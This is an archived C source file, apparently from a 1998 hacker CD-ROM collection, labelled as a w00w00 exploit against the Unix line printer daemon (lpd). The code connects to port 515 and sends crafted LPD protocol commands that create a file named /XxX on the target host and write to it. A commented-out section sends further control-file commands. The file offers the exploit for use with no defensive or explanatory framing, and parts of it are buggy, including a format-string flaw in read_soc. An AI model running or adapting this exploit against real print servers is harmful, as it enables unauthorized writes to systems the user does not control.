home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / lpd.c < prev   
Encoding:
C/C++ Source or Header  |  1998-08-13  |  3.3 KB  |  187 lines

  1. /* This can only create files...not greater than 5 chars  */
  2. /* Host has to be in hosts.lpd, and has to be run as root */
  3. /* (because lpd checks to make sure it's running on a     */
  4. /* privileged port. It needs to be in hosts.lpd because   */
  5. /* lpd checks first. The use of this? Well not much right */
  6. /* now. You would use this on a trusted system.           */
  7. /* BiT                                                    */
  8.  
  9. #include <stdio.h>
  10. #include <signal.h>
  11. #include <sys/socket.h>
  12. #include <sys/types.h>
  13. #include <netinet/in.h>
  14. #include <netdb.h>
  15. #include <fcntl.h>
  16. #include <unistd.h>
  17. #include <sys/time.h>
  18. #include <errno.h>
  19.  
  20. #define ERROR -1
  21.  
  22. void read_soc(int sock);
  23. void read_key(int sock);
  24.  
  25. void phand(int s)
  26. {
  27.   return;
  28. }
  29.  
  30. void ihand(int s)
  31. {
  32.   printf("SIGINT caught, exiting...\n");
  33.   exit(4);
  34. }
  35.  
  36. void dome()
  37. {
  38.   return;
  39. }
  40.  
  41. void banner(char *wee)
  42. {
  43.   exit(1);
  44. }
  45.  
  46. void main(int argc, char **argv)
  47. {
  48.   int    i, a, s;
  49.   long   val;
  50.   fd_set blockme;
  51.  
  52.   char   buf[1500];
  53.   char   username[1024 + 255];
  54.   
  55.   if (argc != 2) {
  56.      fprintf(stderr, "Usage: %s <host>\n", argv[0]);
  57.      exit(1);
  58.   }
  59.  
  60.   s = wee(argv[1], 515);
  61.  
  62.   sprintf(buf, "%clp\n", '\2');
  63.   if (write(s, buf, strlen(buf)) == ERROR) {
  64.     perror("write");
  65.     close(s);
  66.     exit(ERROR);
  67.   }
  68.  
  69.   sprintf(buf, "%c5 /XxX\n", '\2'); /* Creates /XxX           */
  70.   if (write(s, buf, strlen(buf)) == ERROR) {
  71.     perror("write");
  72.     close(s);
  73.     exit(ERROR);
  74.   }
  75.  
  76.   sprintf(buf, "w00w00");            /* Writes "w00w00" to file */
  77.   if (write(s, buf, strlen(buf) + 1) == ERROR) {
  78.     perror("write");
  79.     close(s);
  80.     exit(ERROR);
  81.   }
  82.  
  83.   sleep(5);
  84.   close(s);
  85.   
  86. /*  wee(argv[1], 515);
  87.   sprintf(buf, "%clp\n", '\2');
  88.   if (write(s, buf, strlen(buf)) == ERROR) {
  89.     perror("write");
  90.     close(s);
  91.     exit(ERROR);
  92.   }
  93.  
  94.   sprintf(buf, "%c12 a@s\n", '\2');
  95.   if (write(s, buf, strlen(buf)) == ERROR) {
  96.     perror("write");
  97.     close(s);
  98.     exit(ERROR);
  99.   }
  100.  
  101.   sprintf(buf, "H s\nP -Ca\nM\n");
  102.   if (write(s, buf, strlen(buf) + 1) == ERROR) {
  103.     perror("write");
  104.     close(s);
  105.     exit(ERROR);
  106.   }
  107.  
  108.   close(s); */
  109.  
  110. }
  111.  
  112. void read_soc(int sock)
  113. {
  114.   static char sbuf[512];
  115.   static int  i = 0;
  116.   char        c, j;
  117.   
  118.   j = read(sock, &c, 1);
  119.   if(j < 1 && errno != EAGAIN) {
  120.     fprintf(stderr, "Connection dropped.\n");
  121.     exit(3);
  122.   }
  123.  
  124.   if(i > 510) c='\n';
  125.   if(c == '\n') {
  126.     sbuf[i++] = c, sbuf[i] = 0, i = 0;
  127.     printf(sbuf);
  128.   } else
  129.     sbuf[i++]=c;
  130. }
  131.  
  132. void read_key(int sock)
  133. {
  134.   static char kbuf[512];
  135.   static int  i = 0;
  136.   char        c, j;
  137.   
  138.   j=read(0, &c, 1);
  139.   if(i > 510)
  140.     c = '\n';
  141.  
  142.   if(c == '\n') {
  143.         kbuf[i++] = c, kbuf[i] = 0, i = 0;
  144.         write(sock, kbuf, strlen(kbuf));
  145.   } else
  146.     kbuf[i++] = c;
  147. }
  148.  
  149. int wee(char *host, int port)
  150. {
  151.   int  sock;
  152.   struct sockaddr_in s;
  153.   struct hostent     *he;
  154.  
  155.   he = gethostbyname(host);
  156.   if(he == NULL) {
  157.     herror("gethostbyname");
  158.     return -1;
  159.   }
  160.  
  161.   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
  162.     perror("socket");
  163.     exit(ERROR);
  164.   }
  165.  
  166.   s.sin_family      = AF_INET;
  167.   s.sin_port        = htons(1005);
  168.   s.sin_addr.s_addr = INADDR_ANY;
  169.   s.sin_port        = htons(port);
  170.   memcpy(&s.sin_addr, he->h_addr, he->h_length);
  171.  
  172.   if (bind(sock, (struct sockaddr *)&s, sizeof(s)) == ERROR) {
  173.     perror("bind");
  174.     exit(ERROR);
  175.   }
  176.  
  177.   if(connect(sock, (struct sockaddr *)&s, sizeof(s)) < 0) {
  178.         perror("connect");
  179.         return -1;
  180.   }
  181.  
  182.   if (fcntl(sock, F_SETFL, O_NONBLOCK) == ERROR)
  183.     perror("fcntl");
  184.  
  185.   return sock;
  186. }
  187.